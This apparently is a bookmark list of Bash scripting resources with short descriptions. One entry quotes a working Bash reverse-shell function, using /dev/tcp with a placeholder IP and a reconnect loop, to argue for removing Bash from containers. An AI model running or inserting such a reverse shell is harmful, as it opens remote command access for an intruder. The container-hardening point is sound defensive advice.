94 private links
Bash scripting, a cornerstone of Unix and Linux system administration, offers powerful tools to automate repetitive tasks, streamline workflows, and handle complex operations. For those already comfortable with basic scripting, diving into advanced techniques can unlock new levels of efficiency and capability. This post will explore advanced shell scripting techniques in Bash, focusing on script optimization, robust error handling, and automating complex system administration tasks. Script Optimization Optimization is crucial for ensuring that your scripts run efficiently, especially when dealing with large datasets or intensive tasks.
Tutorial on how llamafile makes LLMs shell scriptable.
GitHub - dylanaraps/pure-bash-bible: 📖 A collection of pure bash alternatives to external processes.
📖 A collection of pure bash alternatives to external processes. - GitHub - dylanaraps/pure-bash-bible: 📖 A collection of pure bash alternatives to external processes.
A simple Bash reverse shell like this one is a good reason to remove Bash from your containers. It uses Bash’s virtual /dev/tcp/ filesystem, and is not exploitable in sh, which doesn’t include this oft-abused feature:
revshell() {
local TARGET_IP="${1:-123.123.123.123}";
local TARGET_PORT="${2:-1234}";
while :; do
nohup bash -i &> \
/dev/tcp/${TARGET_IP}/${TARGET_PORT} 0>&1;
sleep 1;
done
}
This blog post shows tips and tricks to write resilient and idempotent bash scripts.
Minimal Bash script template that will make your scripts safer, consistent with standards, and provide a way to parse and validate parameters.
cdist is a usable configuration management system. It adheres to the KISS principle and is being used in small up to enterprise grade environments. It natively supports IPv6 since the first release.
tweet.sh, a Twitter client written in simple Bash script